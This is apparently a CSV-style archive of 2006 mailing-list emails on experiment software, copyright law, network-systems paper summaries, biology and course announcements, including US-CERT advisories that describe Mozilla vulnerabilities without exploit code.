> will hang.. > > ... Chris > > > > //-----Original Message----- > //From: DMDX-owner@psy1.psych.arizona.edu > //[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. > //Sent: 12 April 2006 16:24 > //To: DMDX@psy1.psych.arizona.edu > //Subject: [DMDX] Re: DMDX Freezing with Katakana > // > // > // > //So the same script can work or not work, it just depends on the > //machine. For a start turning on will probably > //allow you to > //exit DMDX with greater ease when things are disintegrating. > //Next up is > //checking that the refresh rate you've timed in TimeDX is > //actually a valid > //refresh rate. Any number of times we've seen machines with > //crappy drivers > //make TimeDX somehow provide 0 ms as the refresh interval of a video > //mode. When people don't even remotely check what TimeDX is > //displaying and > //go ahead and store those values in the registry DMDX comes > //along and tries > //to use those values and performs much the same way as you are seeing > //it. The solution is usually to get new video drivers. If > //that doesn't fix > //things sometimes (but not recently) there are switches in the > //Refresh Rate > //test in TimeDX that can fix the way TimeDX determines the > //retrace rate > //(usually turning off Read Between Flips to Stop Cheating > //Drivers). If it > //is in fact the case that TimeDX is determining that the > //retrace interval is > //0 ms and nothing will make TimeDX's automatic determination > //routines work > //you can always override them with your own values (there's a bunch of > //documentation on it in the TimeDX help). > // > //At 09:53 AM 4/12/2006 +0100, you wrote: > //>xmlns:ns0=""urn:schemas-microsoft-com:office:smarttags""> > //> > //>I ve posted on here before about the Katakana problems we > //were having and > //>have now installed the new DMDX on our text machines. I'm > //working with > //>Kathy Rastle at Royal Holloway University of London to get > //some machines > //>working for one of her experiments. We have had a few > //problems displaying > //>Katakana text so have updated to the newest version of DMDX and am > //>experiencing problems! > //> > //> > //> > //>We have the problem where when you run a script, each trial > //take around 30 > //>seconds to display and is extremely slow, if you try to > //escape DMDX hangs > //>and takes a good minute to exit, when this does exit it > //comes up with the > //>error ""Retrace thread did not self terminate"". I have had > //this problem on > //>a few of our experiment machines and simply formatted and > //this fixed the > //>problem however this is not the case with these machines. I > //have changed > //>the graphics card twice and the card we are now running does > //record the > //>refresh rate and succeed in all of the tests. We are very > //confused over > //>here and were wondering if you could shed any light? > //> > //> > //> > //>Thanks > //> > //> > //> > //> > //> > //>--------------------- > //> > //>James Milward > //> > //>IT Technician > //> > //>Department of Psychology (Room 119) > //> > //>Royal Holloway University of London, > //> > //>Egham, Surrey TW20 0EX > //> > //> > //> > //>Tel : 01784 443527 > //> > //>Email : James.Milward@rhul.ac.uk > //> > //> > //> > //>-- > //>No virus found in this outgoing message. > //>Checked by AVG Free Edition. > //>Version: 7.1.385 / Virus Database: 268.4.1/309 - Release > //Date: 11/04/2006 > // > // /""\\ > // -jonathan (j.c.f.) \\ / > // X > // ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > // > //The optimum committee has no members. > // > // - Norman Augustine > // > // > //==================================================================== > // Send mail to DMDX-request@psy1.psych.arizona.edu with the word > // 'unsubscribe' by itself with no quotes in the body of the email > // to be removed from the list. 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Joseph Pietro Riolo Number of days left until 1-1-2019 when all knowledge of 1923 in the land of the U.S.A. will be freed from their copyright owners' prisons: 4,645 Public domain notice: I put all of my expressions in this post in the public domain.",0,0 mikepost@comcast.net,Kellie.Hargis@state.tn.us,"Thu, 13 Apr 2006 16:46:58 +0000",Still plenty of spots available for PYPM training May 26th,"Hey Kellie... Would you mind sending out one more reminder for the Protecting You Protecting Me training we have coming up May 26th...there is still space and I want to make sure we fill this training up...thanks so much!! Mike MADD TN Hello, MADD Tennessee is hosting a Protecting You Protecting Me training May 26th in Nashville. I wanted to ask for your help in filling this training. Please help me spread the word by forwarding this to anyone you know that might be interested and that would benefit from attending. If you have any questions or need anything, please don't hesitate to ask. Just as a reminder...the training is only for one day (generally from about 8am-3pm), it is completely FREE, each teacher/counselor that attends receives 7.5 CEU credits, we provide lunch and all of the curriculum, and all of this is made possible by MADD and the GHSO grant. Thank you and please pass this email on or fill out the registration and fax it back ASAP to me at 615-360-9022. I appreciate your help! Thanks! Mike MADD TN 615-414-3270 REGISTRATION FORM Protecting You / Protecting Me is a science-based alcohol use prevention curriculum developed by Mothers Against Drunk Driving (MADD) for students in grades 1-5. There are 8 lessons for grades 1-4, and 10 lessons for grade 5. Each lesson also includes a variety of reinforcement activities. Please print clearly Name:_________________________________________Position:_________________ E-mail:___________________________________ (May 26th) School Information (where you will teach PYPM)_____________________________ School District:__________________________________________________________ SchoolAddress_________________________________City/St/Zip________________ School Phone:(___)_______________ Fax:(___)_______________________ Grade level you will teach PY/PM (circle all that apply): 1st 2nd 3rd 4th 5th Best time to reach you during the day: ___________ Signature: _________________________________ There is a different manual for each grade level. Each trainee must have their own manual. Registration deadline Three weeks prior to training. Space is limited. Registrations will be processed on a first-come, first-serve basis; there will be no on-site registration. To reserve a space for the training, please return this registration form. A minimum of 20 participants is required per training session. Canceling less than one week prior to the training or no-showing may result in you being billed for the curriculum costs. Please let us know immediately if you are unable to attend. Fax or Mail Form To: MADD Tennessee Attention: Mike Post, PYPM Program Coordinator 1100 Kermit Drive, Suite 022 Nashville, TN 37217 Phone: (615) 414-3270 or Toll Free At (800) 544-6233 Fax: (615) 360-9022 / e-mail: mikepost@comcast.net V I S I T: www.madd.org/pypm",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 13 Apr 2006 12:03:04 -0400",paper 19,"DIGITAL FOUNTAIN APPROACH a limitation of the current mirroring technology is that a user must choose a single mirror site from which to access the entire data. performance can be improved substantially if the users are able to download disjoint data (as far as possible) from multiple mirror sites in parallel. erasure codes are utilized for this purpose as this allows an initial file consisting of k packets to be encoded into n packets such that receiving any k of them can reconstruct the original file. CONSTRAINTS: bandwidth on the back-channel (i.e. client sending response to server) is extremely limited.thus, approaches based on renegotiation are not good as they require feedback from the client. ASSUMPTIONS: 1) set of paths from client to mirror sites are bottleneck disjoint TORNADO CODES: they tradeoff a small increase in decoding efficiency for a substantial decrease in decoding and encoding times. each server encodes the file using Tornado codes and then randomly permutes the packets before sending. This random permutation prevents (to a certain extent) duplicate packets at the client when it receives from multiple servers.the stretch factor ( n/k) is chosen sufficiently large so that cycling does not occur (i.e. receiving duplicate packets from server) duplicate packet recieval can be prevented by the client negotiating with each server. Requirements of an ideal protocol : minimize network traffic , reliable , efficient, on-demand , tolerant. the authors also suggest a layering scheme for multiple multicasts based on synchronization points. (the layers are ordered by increasing transmission rate) NETWORK CODING this approach allows intermediate nodes to encode packets. the authors point out that multiple copies of a packet may arrive repeatedly at the client through different paths. this is prevent using network encoding. content propagation : the algorithm to decide which block to transfer is based only on local information. the possible policies are : random block, local rarest. BASIC IDEA : each node picks a random set of co-efficients for all its blocks. each element of each block is multiplied with the corresponding co-efficient and all such results (for all blocks) are added together in a finite field. a node can recover the original file after receiving k blocks for which associated coefficient vectors are linearly independent to each other. the only time that a block is not useful is when the receiver has all blocks which were used to combine into the sent block. thus, each node must know its neighbors coefficients to determine if the block is ""innovative"" or not. incentive mechanisms can be used to prevent free-riding. BOTH THE SCHEMES DO NOT PREVENT MALICIOUS NODES FROM FORWARDING JUNK PACKETS AND THUS PROBABLY DESTROYING THE MULTICAST. detecting whether a node is malicious seems also very difficult. ",0,0 Joseph Pietro Riolo ,,,Re: [CNI-(C)] Re: Statute of limitations on copyright infringement,"On 4/10/06, Terry Carroll wrote: > > In the facts stated, the guy stole some LP records from a radio station. > That's theft, and not an infringement of copyright. It does not implicate > the section 106(3) distribution right, because that right is limited to > distribution to the public. Simply stealing a copy or phonorecord, and > thereby ""distributing"" it to yourself, is not a distribution to the > public. The public include the radio stations. The general practice is that the record companies lend LP's to the radio stations to be performed at their places and when they no longer need the LP's, they return them back to the record companies or destroy them. They don't have the right to sell or give away the LP's unless they are authorized by the record companies. A good analogy that I can think of is the movies that the theaters receive from the companies. The theaters can't sell the movies to the public or even give away to other people or entities unless they are permitted to do so. A thief who break in a movie theater and steal the movies so that he can watch them at a secret place without paying a penny can't be simply charged with theft. Another analogy is stealing books (think of the seventh Harry Potter book) before they are released to the public. (This is not to be confused with books that are sold to the public before release date by mistake such as few incidents with the sixth Harry Potter book.) Suppose that you are correct that stealing LP's from a radio station is not actionable under the copyright law. What remedy does the copyright owner have in this case? I can't imagine that the thief in the above example on movies is untouchable to the copyright owners. Joseph Pietro Riolo Number of days left until 1-1-2019 when all knowledge of 1923 in the land of the U.S.A. will be freed from their copyright owners' prisons: 4,645 Public domain notice: I put all of my expressions in this post in the public domain.",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 13 Apr 2006 17:05:04 -0400","US-CERT Cyber Security Bulletin SB06-103 -- Summary of Security Items from April 6 through April 12, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from April 6 through April 12, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from April 6 through April 12, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRD68kn0pj593lg50AQIneAgAprTrc3ki/suTl3em7kHpTbHbqrH6I8b/ 2Z7b86zixBN3WB11b5EObnVSASn6aJNjAmsqILT9DD7mPHFKkPnrlHKksUvoOoMs etTJTTnoXtrozPPPeIJRICylJ2zPRgl1w31oLxMPJH+vr94dp3UjAu72e+aez6Ma 5Vu39+YA+CYIEJjobtxYY4OyjmMNzIqfM1adLSr/5EqmLAG+KFg0dV5wBNJRf8ss Oqb2BbAVXAM+2eXPW+nS+/9zpPZY/z5rhnp1LfUNMq7rnsb2qGbWUHtSgpWEKeR9 BCeYYTHF187m7LfPMxJTVY4I6hsBLxrYNIlsYgtXclUu+yDzDPCi+Q== =f1cl -----END PGP SIGNATURE-----",0,1 ,,,Is Dicer a coincidence detector?,"In one of my previous posts, I described the hypothesis that all enzymes can be viewed as coincidence detectors (defined in the legend to Figure 1 below). In this post, this hypothesis is tested against the newly determined 3D structure of an enzyme known as Dicer which dices out a precisely measured fragment from a duble-stranded RNA precursor molecule. Viewing this enzyme as a coincidence detector seems to open the door to new insights and predictions about the structure and function of this important enzyme. About ten years ago, molecular biologists and biochemists discovered a new class of RNA molecules, variously called microRNAs or small interfering RNAs, siRNA, only about 20 to 30 nucleotide long (compared with the better known counterpart, mRNA, with several hundreds or more nucleotide long), that can silence or interfere with the mechanisms of information transfer from DNA to RNA to proteins (see [1] a recent review). The phenomenon of small RNA-dependent inhibition of information transfer is known as RNA interference, or RNAi. RNAi is not mediated by microRNAs alone but by a combination of a microRNA and a system of proteins associated with it, together forming a molecular complex known as RISC (RNA-Induced Silencing Complex). RISC can inhbit genetic informaitoin transfer in one of three ways – i) by degrading mRNA having sequences recognized by the microRNA bound to RISC, ii) by inhibiting protein synthesis by binding to complementary mRNA sequences and thereby preventing the ribosomes from reading genetic information encoded therein, and iii) by binding to DNA itself, preventing RNA polymerase to read the genetic messages to produce mRNA (see Figure 3 in [1]). The purpose of this post is to focus on the molecular mechanism of action of the enzyme known as Dicer that produces (i.e., dices out) microRNAs from longer precursor molecules referred to as pre-microRNAs [1]. The 3-dimensional X-ray structure of the Dicer from an intestinal parasite, Giardia intesnallis, was recently solved by Ian MacRae and his coworkers at the University of California, Berkeley [2]. He presented an elegant lecture on the structure of Dicer on April 10 at the New York Academy of Science RNAi Discussion Group meeting in New York, which prompted me to write this post. The Dicer molecule from Giardia intestinalis is a polypeptide about 1000 amino acid residue long (8,500 x10^3 Dalton molecular weight) and has three main domains called PAZ domain, RNase IIIa, and RNase IIIb. The X-ray structure of Dicer obtained by MacRae and his associates shows that the PAZ domain is located on one end of the molecule and the two RNase domains are located on the other end, forming a double head. The center-to-center distance between these two ends is about 25 nucleotides long. Although no X-ray structure is yet available of the complex formed between pre-microRNA and Dicer, MacRae combined the Dicer structure and the known structure of a pre-microRNA computationally and speculated on how Dicer may manage to cut out the precisely 25-nuclotide long microRNA from the pre-microRNA. According to MacRae, the PAZ domain bind one end of the pre-microRNA molecule and RNases IIIa and IIIb bind the other end, cleaving it (one strand per RNase) to produce an exactly 25-nucleotide long microRNA. But the proposed mechanism seems reasonable except that it dose not provide any rationale for the interesting observation MacRae made that, when the PAZ domain was removed, the remaining Dicer molecule cleaved pre-microRNA molecule indiscriminately, producing multiple fragments with different lengths. One way to rationalize this observation occurred to me while I was listening to his lecture: 1) The PAZ domain may act as a self-inhibitory component of the Dicer nuclease activity, most likely by controlling the active site geometry of RNAses IIIa and b through the intervening alpha helical structure. 2) When pre-microRNA duplex binds to Dicer, its 5’end bind to the PAZ domain and disinhibits the RNase IIIa and IIIb, thus allowing these nucleases to cleave their bound substrates, namely, the single strands of pre-microRNA duplex. 3) Thus, Dicer can be viewed as a coincidence detector in the sense that it receives two inputs, the binding of the pre-microRNA to the RAase domains and the binding of the same to the PAZ domian thereby disinhibiting the RNases, and outputs a microRNA. These ideas can be represented diagrammatically as follows: _________ PremicroRNA binding to PAZ ------ > |Dicer as| | C.D. |---- > microRNA PremicroRNA binding to RNAses --- > |________| Figure 1. Dicer as a coincidence detector (C.D.). A coincidence detector is characterized by its ability to produce an output if and only if two or more inpouts are received within a narrow time window. A general mathematical equation relating the two inputs and the rate of the output of a coincidence detector was derived recently [3]. Or a coincidence detector is a device which can implement the instruction: If A and B, then C. In the present case, A = binding of pre-microRNA to PAZ; B = binding of pre-microRNA to RNae domains; and C = microRNA production. The key concept justifying this postulate is that Dicer acts as a nuclease (producing microRNA) when and only when the following three conditions are satisfied: (i) The PAZ domain is occupied by the 5’-end of the pre-microRNA, (ii) the NRases are occupied by their target regions on the pre-microRNA, and (iii) events (i) and (ii) occur synchronously within a narrow time window (within say seconds?). Condition (iii) may be necessary because of the fact that binding events (i) and (ii) occur randomly and quite frequently (every nanosecond?) due to thermal fluctuations (or Brownian motions) of the pre-microRNA-Dicer complex. Under such circumstance, it may be that the only way to control the length of microRNAs diced out of their pre-microRNA is to trigger the nuclease activities when and only when two events (i) and (ii) almost coincide. It should be possible to test this hypothesis experimentally using genetic and various spectroscopic methods. Sung __________________________________________ Sungchul Ji, Ph.D. Department of Pharmacology and Toxicology Rutgers University Piscataway, N.J. 08855 References: [1] Bartel, D. P. (2004). MicroRNAs: Genomics, Biogenesis, Mechanism and Function. Cell 116(3):281-297. [2] MacRae, I., Zhou, K., Li, F., Re pic, A., Brooks, A. N., Cande, W. Z., Adams, P. D., and Doudna, J. A. (2006). Structural Basis for Double-Stranded RNA Processing by Dicer. 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I can't think of a situation in which >>the legal right under the Act is trumped by equity, which usually >>stands in when there isn't a statute. >> > >1. tolling the statute of limitations >2. misuse > >I am not claiming that such an equitable license exists at present. >I just think it is a provocative idea and as a potential legal >theory gets one well past the giggle threshold. And I am not >advocating it. But I would not so easily dismiss it out of hand, >either. I didn't dismiss it easily. I was serious when I said it was thought-provoking. I think it is largely bad policy, but the Microsoft/Apple hypo has me thinking. >The Copyright Act doesn't provide for contributory infringer >liability either, but the courts found a way. Fair use was invented >by the courts and is now in the statute. I find the idea that in >the US the courts cannot continue to develop copyright law rather >curious in light of Grokster. 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TD-Network Operations Center _______________________________________________ Net_people mailing list Net_people@email.rutgers.edu https://email.rutgers.edu/mailman/listinfo/net_people ",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Mon, 17 Apr 2006 10:57:36 -0500",Project Specification II,"Hi CS352-ers, Please find the project specification II document via the following link. http://www.cs.utexas.edu/users/skeckler/cs352/homework/project2.txt The document has 1) Updates about using Java for the project. 2) More information on output formatting. 3) Input and output files for testing your simulator. 4) Experiments with the simulator. I will upload the trace files and the expected output, very soon. Thanks. Madhavi ",0,1 ,,,,"pop20.ucdavis.edu (8.13.6/8.13.1/it-std-5.2.0) with ESMTP id k3HJtQub018084; Mon, 17 Apr 2006 12:55:26 -0700 (PDT) Received: from host (localhost [127.0.0.1]) by nixon.ucdavis.edu (8.13.6/8.13.1/it-std-5.2.0) with SMTP id k3HJtNv3007138; Mon, 17 Apr 2006 12:55:23 -0700 (PDT) Received: from mx3.ucdavis.edu (mx3.ucdavis.edu [169.237.104.13]) by nixon.ucdavis.edu (8.13.6/8.13.1/it-std-5.2.0) with ESMTP id k3HJsZ5K006983 for ; Mon, 17 Apr 2006 12:54:35 -0700 (PDT) Received: from [127.0.0.1] ([169.237.164.21]) by mx3.ucdavis.edu (8.13.6/8.13.1/it-defang-5.4.0) with ESMTP id k3HJsXUR020788 for ; Mon, 17 Apr 2006 12:54:34 -0700 (PDT) Message-ID: <4443F242.90107@ucdavis.edu> Date: Mon, 17 Apr 2006 12:53:38 -0700 From: Eric Grodsky User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: Sociology 206 - Quantitative Methods Subject: class notes/announcements Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 169.237.104.13 Sender: owner-soc206-s06@ucdavis.edu X-Listprocessor-Version: 8.2.10/991025/16:55 -- ListProc(tm) by CREN Status: Hello- 1. Notes for lecture on Tuesday are now available: http://www.sociology.ucdavis.edu/esgrodsky/soc206/pdf/lectures/l6_reg2.pdf 2. Please bring the Kingston reading to class with you; if we do not talk about it tomorrow we will talk about it on Thursday. *3. Due to a schedule change in sociology we WILL have lab on Wednesday, May 3. Lecture on Thursday, May 4 will end at the usual time (4:30). *4. Lecture on Tuesday, May 9, will end at 4:00 so that those who wish to do so can attend Mitch Duneier's talk at the International House (10 College Park). For more information on the talk, see http://www.ls.ucdavis.edu/Events/?EventID=713 -- Eric Grodsky Assistant Professor Department of Sociology University of California- Davis -- Eric Grodsky Assistant Professor Department of Sociology University of California- Davis Next message: Eric Grodsky: ""code for lab today"" Previous message: Eric Grodsky: ""206 web page updates"" Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] This archive was generated by hypermail 2b29 : Wed May 03 2006 - 12:20:00 PDT",0,1 US-CERT Alerts ,alerts@us-cert.gov,"Mon, 17 Apr 2006 15:42:56 -0400",US-CERT Cyber Security Alert SA06-107A -- Mozilla Products Contain Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-107A Mozilla Products Contain Multiple Vulnerabilities Original release date: April 17, 2006 Last revised: -- Source: US-CERT Systems Affected * Mozilla web browser * Mozilla email application * Firefox web browser * Thunderbird email application * Mozilla Suite Overview By taking advantage of one or more vulnerabilities in Mozilla products, an attacker may be able to take control of your computer. Solution Upgrade to the latest versions of Firefox and Thunderbird Mozilla has released an updated version of Firefox to correct these problems. Mozilla has released an updated version of the Thunderbird email program to correct these problems. Description There are vulnerabilities in various features of the Mozilla web browser, Mozilla email application, Firefox web browser, and Thunderbird email application. Some of the vulnerabilities involve the way these applications handle URLs or images. For instance, an attacker could cause an application to crash or could take control of your computer by convincing you to view a malicious web site or email message. For more technical information, see US-CERT Technical Alert TA06-107A. References * Mozilla Foundation Security Advisories - * US-CERT Technical Cyber Security Alert TA06-107A - * US-CERT Vulnerability Notes Related to April Mozilla Security Advisories - * US-CERT Vulnerability Note VU#932734 - * US-CERT Vulnerability Note VU#968814 - * US-CERT Vulnerability Note VU#179014 - * US-CERT Vulnerability Note VU#488774 - * US-CERT Vulnerability Note VU#842094 - * US-CERT Vulnerability Note VU#813230 - * US-CERT Vulnerability Note VU#736934 - * US-CERT Vulnerability Note VU#935556 - * US-CERT Vulnerability Note VU#350262 - * US-CERT Vulnerability Note VU#252324 - * US-CERT Vulnerability Note VU#329500 - * Firefox - Rediscover the Web - * Thunderbird - Reclaim your inbox - * Mozilla Suite - The All-in-One Internet Application Suite - * Securing Your Web Browser - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-107A Feedback VU#968814"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History April 17, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBREPghX0pj593lg50AQKeXQf+MFtNbKe2KCu5pz8aJbp/HB2mZXUHdiW6 BZRVKi2VK9lPZmVohyESLtkn5IgQcX0WaLBOZQoP8EfkgkioqNv9oOzkyEmIViIo jsCAnPSwWd8JG+XMqxRgM4lrOdRjOuVaXZiSlYsBj9OfbYvOAFnrCKsITC7Byktj 2pRI2znUvPFojdNtL8x+7r3xejOXMrvbJsnzyjyCzl4Lyt3Ojrm9iSyx3k86IYuR 33V8tP4+wliotbt2GSgjrYAnNMOJZ63AmdiG1UeCE7h8KRhF3Xw0e0A0bV8yCDuW 8T4g/GtDrM/7/CEolTig+PLvzsaZD4X6RVaWESFdnk1hXfs51rWp8g== =OKJQ -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Mon, 17 Apr 2006 15:39:44 -0400",US-CERT Technical Cyber Security Alert TA06-107A -- Mozilla Products Contain Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-107A Mozilla Products Contain Multiple Vulnerabilities Original release date: April 17, 2006 Last revised: -- Source: US-CERT Systems Affected * Mozilla web browser, email and newsgroup client * Mozilla SeaMonkey * Firefox web browser * Thunderbird email client * Mozilla Suite Any products based on Mozilla components, particularly Gecko may also be affected. Overview The Mozilla web browser and derived products contain several vulnerabilities, the most serious of which could allow a remote attacker to execute arbitrary code on an affected system. I. Description Several vulnerabilities have been reported in the Mozilla web browser and derived products. More detailed information is available in the individual vulnerability notes, including: VU#932734 - Mozilla crypto.generateCRMFRequest() vulnerability A vulnerability exists in the Mozilla JavaScript routine generateCRMFRequest() that may allow a remote attacker to execute arbitrary code. (CVE-2006-1728) VU#968814 - Mozilla JavaScript security bypass vulnerability Mozilla products fail to properly enforce security restrictions in JavaScript. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code. (CVE-2006-1726) VU#179014 - Mozilla CSS integer overflow vulnerability Mozilla products contain an integer overflow that could allow a remote, unauthenticated attacker to execute arbitrary code. (CVE-2006-1730) VU#488774 - Mozilla XBL binding vulnerability Mozilla products fail to properly restrict access to privileged XBL bindings. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code. (CVE-2006-1733) VU#842094 - Mozilla JavaScript cloned parent vulnerability Mozilla products fail to properly restrict access to a JavaScript functions cloned parent. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-1734) VU#813230 - Mozilla products vulnerable to privilege escalation via XBL.method.eval A vulnerability in the way Mozilla products and derivative programs handle certain XBL methods could allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-1735) VU#736934 - Mozilla products vulnerable to memory corruption via a particular sequence of HTML tags A vulnerability in the way Mozilla products and derivative programs handle certain HTML tags could allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0749) VU#935556 - Mozilla products may allow CSS border-rendering code to write past the end of an array A vulnerability in the way Mozilla products and derivative programs handle certain CSS methods could allow a remote attacker to crash the application or execute arbitrary code on a vulnerable system. (CVE-2006-1739) VU#350262 - Mozilla DHTML memory corruption vulnerabilities Mozilla products contain to multiple, unspecified vulnerabilities in the way they handle DHTML. These vulnerabilities may allow a remote attacker to execute arbitrary code or cause a denial-of-service condition. (CVE-2006-1724) VU#252324 - Mozilla display style vulnerability Mozilla products contain an unspecified vulnerability in the way they handle display styles. This vulnerability may allow a remote attacker to execute arbitrary code or cause a denial-of-service condition. VU#329500 - Mozilla products vulnerable to memory corruption via large regular expression in JavaScript A vulnerability in the way the JavaScript engine of Mozilla products and derivative programs handles a large regular expression could allow a remote attacker to crash the application or execute arbitrary code on a vulnerable system. II. Impact The most severe impact of these vulnerabilities could allow a remote attacker to execute arbitrary code with the privileges of the user running the affected application. Other effects include a denial of service or local information disclosure. III. Solution Upgrade Upgrade to Mozilla Firefox 1.5.0.2, Mozilla Thunderbird 1.5.0.2, or SeaMonkey 1.0.1. According to Mozilla.org, Thunderbird 1.5.0.2 is to be released on April 18, 2006. Users are strongly encourages to apply the workarounds described in the individual vulnerability notes until updates can be applied. Appendix A. References * Mozilla Foundation Security Advisories - * Mozilla Foundation Security Advisories - * US-CERT Vulnerability Note VU#932734 - * US-CERT Vulnerability Note VU#968814 - * US-CERT Vulnerability Note VU#179014 - * US-CERT Vulnerability Note VU#488774 - * US-CERT Vulnerability Note VU#842094 - * US-CERT Vulnerability Note VU#813230 - * US-CERT Vulnerability Note VU#736934 - * US-CERT Vulnerability Note VU#935556 - * US-CERT Vulnerability Note VU#350262 - * US-CERT Vulnerability Note VU#252324 - * US-CERT Vulnerability Note VU#329500 - * US-CERT Vulnerability Notes Related to April Mozilla Security Advisories - * CVE-2006-1726 - * CVE-2006-1728 - * CVE-2006-1730 - * CVE-2006-1733 - * CVE-2006-1734 - * CVE-2006-1735 - * CVE-2006-0749 - * CVE-2006-1739 - * CVE-2006-1724 - * Firefox - Rediscover the Web - * Thunderbird - Reclaim your inbox - * The SeaMonkey Project - * Mozilla Suite - The All-in-One Internet Application Suite - * Securing Your Web Browser - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-107A Feedback VU#968814"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Apr 17, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBREPpeH0pj593lg50AQI+OAf+LX6BsGayLqa86k2b32AUxeVYDiypaMEU qriPcS7dNs1d4DG642cdXQFZeqVwd0n4IDuvRdwQfYYriDSwtASIZ3AHIkk0V/rd +9pJqPhxJ21ykRDbH+2pIrLb2Ph4oN3RLZRfec/SxfgXqq5KF4Vf6ARkU1KNehnF uD05huAn885W8dlmGAnNk5G5xgf6Bzd74UeYJws3zBSNqdUG9LSg16O7y1kP6uUk wvXFkf1IMFjYhVuTMto763vEnmU3pBUoxnKpwgleD9NfCobYbn0h+Hq3QpS440u5 1xMXCu/98aB3Zqsv717uJ+glD4VJ9T8EIEa4pW1qm3180XBpsN2ZQQ== =2rzE -----END PGP SIGNATURE-----",0,1 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Mon, 17 Apr 2006 19:36:09 -0400",paper 20,"MACEDON provides an infrastructure to 1) specify distributed algorithms in a concise domain-specific language 2) generate code that executes in popular evaluation infrastructures and in live-networks 3) enable consistent experimental evaluation it uses a FSM based approach for describing overlays. node state is represented by state variables. algorithms have system states that represent high-level phases of processing. it distinguishes b/w control and data operations - control operations modify node state and are exclusively serialized within a protocol instance. data operations simply read a node state, enabling shared protocol access ( a read/write lock is used for this purpose) messages provide the fundamental mechanism for coordinating distributed actions and transmitting data. it has a number of APIs which help in building robust networked systems. P2 it is a system which uses declarative logic language to express overlay networks in a highly compact and reusable form. P2 requires less lines of code than MACEDON for systems in general. languages have been influenced by the protocol-centric approach or structure-centric approaches. P2 spans these 2 approaches and expands upon them. P2 models the overlay as a distributed data structure represented via a set of relations in a relational database. P2 employs 2 types of relations : soft-state tables and streams of transient tuples. the relational abstraction presents a natural way to reuse functionality and share routing state among different overlays. the language they use is termed as Overlog - based on the popular query language Datalog. Constructs are added to specify physical distribution properties. an Overlog program is largely composed of table declarations and rules. Adv compared to FSM based approaches 1) reuse - automata interrelate possible events and states and thus are difficult to reuse in other contexts. 2) typing is another advantage. the authors implemented PEL which was a small but powerful expression language for manipulating Values and Tuples. Dataflow framework P2 graphs need not be trees - cyclic dataflow is used for recursive queries. dropping of tuples due to queue overflow is undesirable in P2 and a blocking mechanism is used in this case. a planner is used for generating data flow graphs. ",0,0 ,,,Re: Temporal hierarcy as a tree of coincidence detectors (new),"Thanks, Stan, so I barked up the wrong hierarchical tree. I really had in mind the network complexity. John --- complex-science@necsi.org wrote: > Comment to John -- > > >There is the usual confusion by the anonymity of > the > >list: the [>] seems to refer both to Stan and > Non-Stan > >Then there is: [> >>] (???) > > > >--- complex-science@necsi.org wrote: > > > >> Stan wrote (>): > > > >I want to address (>>): > > > >> > >> >>A hierarchy can be viewed as a ""tree"" > consisting > >> of a set of bifurcations. > >> >>A bifurcation can be represented as a node > >> connected to two other nodes. > >> > >> > SS: This is not true of ALL hierarchies. > >... > >> > Also, in any hierarchy, the rise of new > levels > >> need not be by > >> >""bifurcation""; it could be multifurcation, if by > >> furcation at all. > > > >I want to extend this true statement of Stan to the > >graph-tabulation further below, where the writer > tries > >to 'order' nature (whatever) fitting the simplest > wayw > >of the human mind: > >> > >> > >> >>The simplest hierarchy is a set of n > bifurcations, > >> where n = 1 or greater. > >> >>When n=1, we have what may be called the 'unit > >> bifurcation"". A unit > >> >>bifurcation consists of three nodes connected > >> thus: 1-2-3. When 1 and 3 > >> >>are events whose simultaneous occurrences > (within > >> a very short time range, > >> >>say, mseconds) leads to (or causes) event 2, > we > >> may be dealing with what > >> >>may be called the ""unit temporal bifurcation > >> (UTB)"". This is equivalent > >> >>to viewing 2 as a ""coincidence detector"" or a > >> ""coincidence detecting > >> >>event (CDE)"". We can easily imagine a system > of > >> two or more CDEs coupled > >> >>in such a manner as to form a tree, which may > be > >> identified with a > >> >>""temporal hierarchy"": > >> >> > >> >> > >> >> 1 > >> 2^0 > >> >> / \\ > >> >> / \\ > >> >> 2 3 > >> 2^1 > >> >> / \\ / \\ > >> >> / \\ / \\ > >> >> 4 5 6 7 > > > >> >>Figure 1. A temporal hierarchy composed of a > set > >> of coincidence-... > > > >How about: > >> 1 > > _______________________________ > > ! ! ... ! ! > > ______ ___ _______ ____ > > ! ! 